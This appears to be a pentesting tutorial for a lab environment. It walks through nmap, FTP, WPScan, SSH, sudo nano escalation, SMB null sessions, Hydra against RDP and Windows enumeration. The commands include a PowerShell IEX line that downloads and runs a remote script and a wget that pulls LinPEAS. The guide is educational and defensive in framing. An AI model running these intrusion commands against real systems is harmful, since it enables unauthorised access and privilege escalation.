On this page 27 sections
- Think in stages
- 1. Network reconnaissance
- Move from broad discovery to focused enumeration
- Build a service map
- 2. FTP enumeration
- Enumerate before attempting access
- 3. WordPress enumeration
- Why plugin versions matter
- 4. Search Metasploit by what you discovered
- 5. SSH access
- Initial access changes the objective
- 6. Transfer tools to Linux
- Automation supports enumeration, not understanding
- 7. Check sudo privileges
- Interpret sudo entries carefully
- 8. SMB enumeration
- NULL sessions and guest access
- 9. Credential validation with Hydra
- 10. Connect through RDP
- 11. Windows identity and privileges
- 12. Inspect scheduled tasks
- 13. Check Windows file permissions
- 14. Simple file transfer with Python
- Download a PowerShell script
- A practical pentest flow
- Keep notes during every phase
- Key takeaway
Think in stages
A penetration test is easier to manage when it is divided into clear phases. Start by discovering systems and services, enumerate what is exposed, identify a possible access path, then perform local enumeration from the obtained account. Each new piece of information should determine the next step instead of running tools without a clear objective.
1. Network reconnaissance
The first goal is to understand what is reachable. A network scan can identify hosts, open ports and the services exposed by each machine. Saving the output allows the results to be reviewed later and reused during deeper enumeration.
nmap -sV -p- 10.20.20.0/24 -oA network-scanMove from broad discovery to focused enumeration
A full-port scan provides the attack surface. Once interesting ports have been identified, perform a second targeted scan with service detection and default Nmap scripts. This produces cleaner and more useful information than repeatedly scanning every port.
nmap -p21,22,443 -sV -sC target1.sam0x.meBuild a service map
Do not treat an open port as the final result. Translate each port into a service and decide how that service should be enumerated. FTP may expose files, SSH may provide remote access, HTTPS may expose a web application, SMB may reveal users or shares, and RDP may provide an interactive Windows session.
2. FTP enumeration
If FTP is exposed, connect to the service and inspect the available files. Files stored on an FTP server may provide configuration data, backups, credentials or other information relevant to the lab.
ftp target1.sam0x.me 21ls -alget <file>Enumerate before attempting access
The objective of service enumeration is to gather enough context to make the next action intentional. Before trying credentials or modules, identify the software, version, configuration and any publicly accessible resources associated with the service.
3. WordPress enumeration
When a web application is identified as WordPress, WPScan can enumerate WordPress-specific information. Plugin enumeration is particularly useful because plugins add functionality and also expand the application attack surface.
wpscan -e p --url https://target1.sam0x.me --disable-tls-checks --no-banner --plugins-detection passive -t 100Why plugin versions matter
Identifying installed plugins is only the first step. The plugin name, installed version and configuration should be recorded so they can be compared with known issues during an authorised assessment.
4. Search Metasploit by what you discovered
Metasploit should normally be used after enumeration has identified a technology or service worth investigating. Searching by product, protocol or vulnerability keeps the workflow tied to evidence gathered during reconnaissance.
msfconsole -qsearch <term>5. SSH access
SSH provides an authenticated shell on Linux and Unix-like systems. Access may use a password or a private key. Private SSH keys normally require restrictive local file permissions before the SSH client accepts them.
chmod 600 id_rsassh -i id_rsa john@target1.sam0x.messh john@target1.sam0x.meInitial access changes the objective
After obtaining a shell, the focus moves from remote service enumeration to local system enumeration. At this point, identify the current user, privileges, accessible files, running services and possible paths to a higher-privileged account.
whoamiid6. Transfer tools to Linux
Local enumeration tools can help collect system information, but understanding how files are transferred is equally important. The source material uses wget for downloading and SCP for transferring files through an existing SSH session.
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.shscp -i id_rsa ./linpeas.sh john@target1.sam0x.me:/home/johnbash linpeas.shAutomation supports enumeration, not understanding
Tools such as LinPEAS can quickly identify interesting permissions and configurations, but their results should be validated manually. A useful finding is not simply something highlighted by a script: you should understand why the configuration matters and what privilege boundary it affects.
7. Check sudo privileges
One of the first Linux privilege checks should be sudo -l. It shows which commands the current account is permitted to execute through sudo and under which restrictions.
sudo -lInterpret sudo entries carefully
A permitted command becomes interesting when it can perform actions outside its expected purpose, interact with files, execute other programs or otherwise cross a privilege boundary. The original lab example uses Nano executed through sudo.
sudo /usr/bin/nano8. SMB enumeration
SMB is a key Windows and Active Directory protocol. Enumeration can reveal users, available shares and whether anonymous or guest access is permitted. These findings can provide additional information even before valid credentials are available.
crackmapexec smb target2.sam0x.mecrackmapexec smb target2.sam0x.me -u '' -p '' --userscrackmapexec smb target2.sam0x.me -u guest -p '' --sharesNULL sessions and guest access
A NULL session attempts to interact with SMB without supplying a username or password. Guest access uses the Guest account. Whether either method works depends on the server configuration and security policy.
9. Credential validation with Hydra
If an authorised lab provides candidate credentials, Hydra can test authentication against supported services. In the source example, RDP is used as the target protocol. Credential testing should be controlled because repeated authentication attempts can trigger lockouts and monitoring systems.
hydra -l john -p "password" rdp://target2.sam0x.me10. Connect through RDP
Once valid credentials have been identified, RDP provides an interactive Windows desktop. xfreerdp can establish the session directly from Linux and optionally define the screen dimensions.
xfreerdp /u:john /p:"password" /v:target2.sam0x.me /w:1366 /h:76811. Windows identity and privileges
After obtaining a Windows session, determine the current security context. User privileges and group memberships reveal what the current account is allowed to do and may expose important differences between a standard user and an administrative context.
whoami /privwhoami /groupsnet user john12. Inspect scheduled tasks
Scheduled tasks execute programs or scripts according to configured triggers and security contexts. Reviewing them can reveal scripts, executable paths, service accounts and recurring administrative operations.
schtasks /query /fo LIST /v13. Check Windows file permissions
When a scheduled task or other privileged process references a script, inspect the permissions on that file. If a lower-privileged user can modify a file that is later executed by a more privileged context, the permission boundary deserves further investigation.
icacls "C:\script.ps1"14. Simple file transfer with Python
A temporary HTTP server is a simple way to expose files from a lab machine. Python includes a built-in HTTP server that can serve the contents of the current directory.
python3 -m http.server 8080Download a PowerShell script
Windows can retrieve files from an HTTP server using PowerShell. The source material demonstrates downloading and executing an enumeration script directly from a temporary HTTP server.
powershell "IEX(New-Object Net.WebClient).downloadString('http://sam0x.me:8080/winPEAS.ps1')"A practical pentest flow
The important part of this workflow is that each phase feeds the next one. Reconnaissance identifies services, service enumeration identifies possible access paths, authenticated access provides a local security context, and local enumeration determines whether that context can reach additional resources or privileges.
nmap -sV -p- target1.sam0x.me -oA target1nmap -sV -sC -p21,22,443 target1.sam0x.messh john@target1.sam0x.mesudo -lKeep notes during every phase
Record hosts, ports, services, versions, usernames, discovered files, authentication methods and privilege findings as they appear. A good penetration test is not only about gaining access; it should leave a clear trail explaining how each finding led to the next.
Key takeaway
The core pentesting cycle is enumeration, validation and deeper enumeration. Avoid jumping directly from an open port to exploitation. First understand the exposed service, gather evidence, validate the possible access path, and then reassess the system from the new security context.